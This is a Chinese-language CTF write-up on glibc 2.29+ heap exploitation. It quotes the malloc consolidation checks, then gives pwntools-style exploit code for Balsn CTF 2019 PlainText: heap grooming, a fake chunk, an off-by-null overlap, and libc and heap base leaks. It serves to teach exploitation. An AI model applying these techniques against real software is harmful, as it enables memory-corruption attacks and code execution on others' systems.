在2.29的版本后加入了这样的防护
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr ("corrupted size vs. prev_size while consolidating");
/* consolidate backward */
if (!prev_inuse(p)) {
prevsize = prev_size (p);
size += prevsize;
p = chunk_at_offset(p, -((long) prevsize));
if (__glibc_unlikely (chunksize(p) != prevsize))
malloc_printerr (“corrupted size vs. prev_size while consolidating”);
unlink_chunk (av, p);
}
// fd bk
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
也就是说上一chunk的size必须要与该chunk的prevsize一致并且还要通过unlink的检测。
所以fake_chunk必须可以控制其size,fd,bk使其 FD->bk == p ; BK->fd == p 。 之后通过溢出修改某一chunk(D)的prevsize和inuse位为\x00 ,此时free(D)与p 形成合并,p与其FD,BK进行unlink操作。即可形成overloap

以Balsn_CTF_2019-PlainText举例:
for i in range(16):
add(0x10,'fill')
for i in range(16):
add(0x60,'fill')
for i in range(9):
add(0x70,'fill')
for i in range(5):
add(0xC0,'fill')
for i in range(2):
add(0xE0,'fill')
add(0x170,'fill')
add(0x190,'fill')
# 49
add(0xa9D0,'addralign') # 50
1.准备
如果bin里有堆,最好把他申请出来,然后申请到合适的chunk大小使得下一chunk的地址的后16位为\x00 (实际远程时无法控制低4位的大小,需要进行爆破,有1/16的概率)

2.布局
add(0x28,p64(0) + p64(0x241) + b'\x28') # 53 fd->bk : 0xA0 - 0x18
add(0x28,'pass-loss control') # 54
add(0xF8,'pass') # 55
add(0x28,'pass') # 56
add(0x28,'pass') # 57
add(0x28,'pass') # 58
add(0x28,'pass') # 59
add(0x28,'pass-loss control') # 60
add(0x4F8,'to be off-by-null') # 61 0250
其中\x28是p->fd , 0x241是p(fake_chunk的size)之后也会以这个大小与 chunk61 来合并.
3.修复fd
此时BK->fd还没有修复好,为了在修复的同时不破坏掉size,需要把它放入fastbin.同时为了利用地址信息需要把 B , C , A 依次free掉

所以,需要先将Tcache 填满 , 然后依次 free chunk B C A ,清空Tcache ,申请回chunk(A),复写fd,使其指向p (BK-fd构造完成)
然后由于 Tcache 的 stash 机制,chunk B C 进入 Tcache,再申请回来的就是 chunk B,部分覆写使 fd 指向 fake_chunk。(FD->bk构造完成)
for i in range(7):
add(0x28,'tcache')
for i in range(7):
delete(61 + 1 + i)
delete(54) #b 0040
delete(60) #c 0230
delete(53) #a 0000
#a->c->b
for i in range(7):
add(0x28,'tcache')
# 53,54,60,62,63,64,65
add(0x28,'\x10') # 53->66 a
## stashed ##
add(0x28,'\x10') # 54->67 b
add(0x28,b'a' * 0x20 + p64(0x240)) # 60->68 c 0220
gdb.attach(io)
delete(61) #d
4.泄露
delete(61) #d 后形成了overloap
利用堆重叠进行泄露
add(0x140,'pass') # 61
show(56)
libc_base = u64(sh.recv(6).ljust(0x8,'\x00')) - libc.sym["__malloc_hook"] - 0x10 - 0x60
log.success("libc_base:" + hex(libc_base))
__free_hook_addr = libc_base + libc.sym["__free_hook"]
add(0x28,'pass') # 69<-56
add(0x28,'pass') # 70<-57
delete(70)
delete(69)
show(56)
heap_base = u64(sh.recv(6).ljust(0x8,'\x00')) - 0x1A0
log.success("heap_base:" + hex(heap_base))




